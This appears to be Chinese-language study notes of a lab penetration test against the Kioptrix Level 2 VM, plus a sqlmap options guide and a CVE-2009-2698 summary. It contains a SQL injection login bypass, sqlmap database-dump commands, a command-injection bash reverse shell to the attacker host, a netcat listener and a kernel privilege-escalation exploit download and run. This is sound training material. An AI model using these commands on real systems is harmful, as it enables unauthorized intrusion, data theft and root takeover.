声明! 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)
靶场:Kioptix Level 2靶场渗透测试
攻击机:kali-linux-2024
第一部分:信息收集
1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址
2,攻击机上做主机扫描发现靶机
arp-scan -l
靶机IP地址192.168.23.149,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.23.149
可能存在渗透测试切入点的,就是80/443/3306端口了,其中3306端口是开放了一个phpmyadmin的网站,提供给开发者通过web网站管理服务器后端数据库,属于高危行为
4,分别访问这些网站,192.168.23.149
192.168.23.149:443
5,对网站的后台子目录进行扫描爆破
dirsearch -u http://192.168.23.149 -x 404,403
是一个Apache网站的初始页面 http://192.168.23.149/manual/index.html
6,whatweb对网站框架进行指纹识别扫描
whatweb -v http://192.168.23.149:80
whatweb -v http://192.168.23.149/manual/index.html
7,searchsploit分别搜索有无中间件,后端语言记录在案的漏洞
没有发现明显的漏洞利用点
8,回到登录的初始页面,判断是否存在两种攻击利用方式,一种是弱口令爆破,另一种是SQL注入。先使用burp suite抓获请求包观察
再拿最简单的万能密码进行尝试,发现能够成功登录
admin' OR 1=1/*
第二种方法,将burp suite截获的完整请求信息文件写入sql.txt,然后再利用sqlmap进行爆破
sqlmap -r sql.txt --level 5 --risk 3
sqlmap -r sql.txt --level 5 --risk 3 --dbs
sqlmap -r sql.txt --level 5 --risk 3 -D webapp --tables
sqlmap -r sql.txt --level 5 --risk 3 -D webapp -T users --columns
sqlmap -r sql.txt --level 5 --risk 3 -D webapp -T users -C username,password --dump
最终得到了账户密码
sqlmap提示了四种手工注入的方法
9,网站提供了一个ping功能的页面,通过这个页面我们也许可以进行命令执行的漏洞利用。但是没有提供输入框,burp suite抓包看一下是不是源码的问题
之前的<td>标签里面的内容没有闭合,所以就需要我将请求do intercept去改响应包,使内容闭合
forward放包之后观察到页面成功实现了提交ping请求的表单
10,命令执行漏洞的探测。首先使用几个常见的拼接符进行拼接
查看当前用户身份 127.0.0.1 |whoami
查看当前文件路径
尝试利用进行bash反弹shell
127.0.0.1 &&bash -i >& /dev/tcp/192.168.23.140/4444 0>&1
与此同时kali攻击机需要开启4444端口监听 nc -lvvp 4444
成功获得靶机的shell
11,在靶机进行一波信息收集
注意到内核版本过低,可以想象是一定存在着漏洞的
12,searchsploit搜索有无可利用漏洞
searchsploit centos 4.5
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86)
漏洞路径: linux_x86/local/9542.c
描述: 该漏洞针对 Linux 内核 2.6 版本(最高到 2.6.19),特别是 CentOS 4.4 和 4.5 版本,存在本地权限提升的漏洞。
受影响的系统: CentOS 4.4 和 4.5、Fedora Core 4、5、6。
潜在影响: 本地权限提升漏洞。
13,将漏洞利用文件导出来使用 searchsploit 9542.c -m
14,阅读9542.c,其中详细记录了漏洞利用的方法
首先攻击机通过python的http模块开启web服务
然后靶机需要进行下载wget http://192.168.23.140:8000/9542.c
wget 正在尝试从 http://192.168.23.140:8000/9542.c 下载名为 9542.c 的文件。
连接已成功建立,服务器返回了 HTTP 200 OK,表示请求成功,文件大小为 2535 字节(2.5K)。
但在下载过程中,发生了权限问题,提示 "权限被拒绝"。这意味着你可能没有足够的权限在当前目录中保存该文件,或者没有权限访问该资源。
这里存在一个权限问题,无法在这个命令下载/写入其他文件。解决办法就是去/tmp目录下载
15,然后在靶机上面对9542.c文件进行gcc编译,编译之后再运行
gcc -o 9542 9542.c
./9542
成功提权称成为root用户
sqlmap使用指南:
一、帮助与版本选项
- 基本帮助:使用“-h, --help”选项可以显示基本的帮助信息然后退出程序。
- 高级帮助:“-hh”选项用于显示高级帮助消息并退出程序。
- 版本信息:“--version”选项可展示程序的版本号然后退出程序。
二、详细程度选项
- 详细程度设置:“-v VERBOSE”选项用于设置详细程度,其取值范围是0 - 6,默认值为1。
三、目标相关选项
(一)目标定义
- 目标URL:“-u URL, --url=URL”选项用于指定目标URL,例如“ Salesforce Platform for Application Development | Salesforce US = 1”。
- Google搜索结果作为目标:“-g GOOGLEDORK”选项可将Google搜索结果处理为目标URLs。
四、请求相关选项
(一)连接设置
- POST数据发送:“--data=DATA”选项可以设置要通过POST发送的数据字符串,例如“id = 1”。
- Cookie设置:“--cookie=COOKIE”选项用于设置HTTP Cookie头的值,如“PHPSESSID=a8d127e..”。
- 随机User - Agent:“--random - agent”选项会使用随机选择的HTTP User - Agent头的值。
- 代理使用:“--proxy=PROXY”选项用于连接目标URL时使用代理。
- Tor网络使用:
- “--tor”选项表示使用Tor匿名网络。
- “--check - tor”选项用于检查Tor是否被正确使用。
五、注入相关选项
(一)注入参数测试
- 可测试参数:“-p TESTPARAMETER”选项用于指定要测试的参数。
- 指定后端DBMS:“--dbms=DBMS”选项可强制将后端DBMS设置为提供的值。
六、检测相关选项
(一)检测定制
- 检测级别:“--level=LEVEL”选项用于指定要执行的检测级别,范围是1 - 5,默认值为1。
- 检测风险:“--risk=RISK”选项用于指定要执行的检测风险,范围是1 - 3,默认值为1。
七、技术相关选项
(一)SQL注入技术调整
- 技术选择:“--technique=TECH..”选项用于指定要使用的SQL注入技术,默认是“BEUSTQ”。
八、枚举相关选项
(一)后端数据库枚举
- 全部获取:“-a, --all”选项用于检索所有内容。
- 获取DBMS标识:“-b, --banner”选项用于检索DBMS标识。
- 获取当前用户:“--current - user”选项可检索DBMS当前用户。
- 获取当前数据库:“--current - db”选项用于检索DBMS当前数据库。
- 枚举密码哈希:“--passwords”选项用于枚举DBMS用户密码哈希。
- 枚举数据库:“--dbs”选项用于枚举DBMS数据库。
- 枚举表:“--tables”选项用于枚举DBMS数据库表。
- 枚举列:“--columns”选项用于枚举DBMS数据库表列。
- 枚举模式:“--schema”选项用于枚举DBMS模式。
- 导出表项:“--dump”选项用于导出DBMS数据库表项。
- 导出所有表项:“--dump - all”选项用于导出所有DBMS数据库表项。
- 指定数据库枚举:“-D DB”选项用于指定要枚举的DBMS数据库。
- 指定表枚举:“-T TBL”选项用于指定要枚举的DBMS数据库表(s) 。
- 指定列枚举:“-C COL”选项用于指定要枚举的DBMS数据库表列(s) 。
九、操作系统访问相关选项
(一)操作系统访问操作
- 交互操作系统shell:“--os - shell”选项用于提示交互操作系统shell。
- OOB shell等提示:“--os - pwn”选项用于提示OOB shell、Meterpreter或VNC。
十、通用相关选项
(一)通用工作参数设置
- 无用户输入模式:“--batch”选项表示从不询问用户输入,使用默认行为。
- 刷新会话文件:“--flush - session”选项用于刷新当前目标的会话文件。
十一、杂项相关选项
(一)特殊功能
- 新手向导界面:“--wizard”选项提供给初学者一个简单的向导界面。
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' 权限提升(3)
CVE编号CVE-2009-2698
利用情况POC 已公开
补丁情况官方补丁
披露时间2009-08-28
漏洞描述
在2.6.19之前的Linux内核中的(1)net / ipv4 / udp.c和(2)net / ipv6 / udp.c中的UDP实现中的udp_sendmsg函数允许本地用户通过涉及msg_more标志和UDP套接字的向量获得权限或导致拒绝服务(空指针取消引用和系统崩溃)。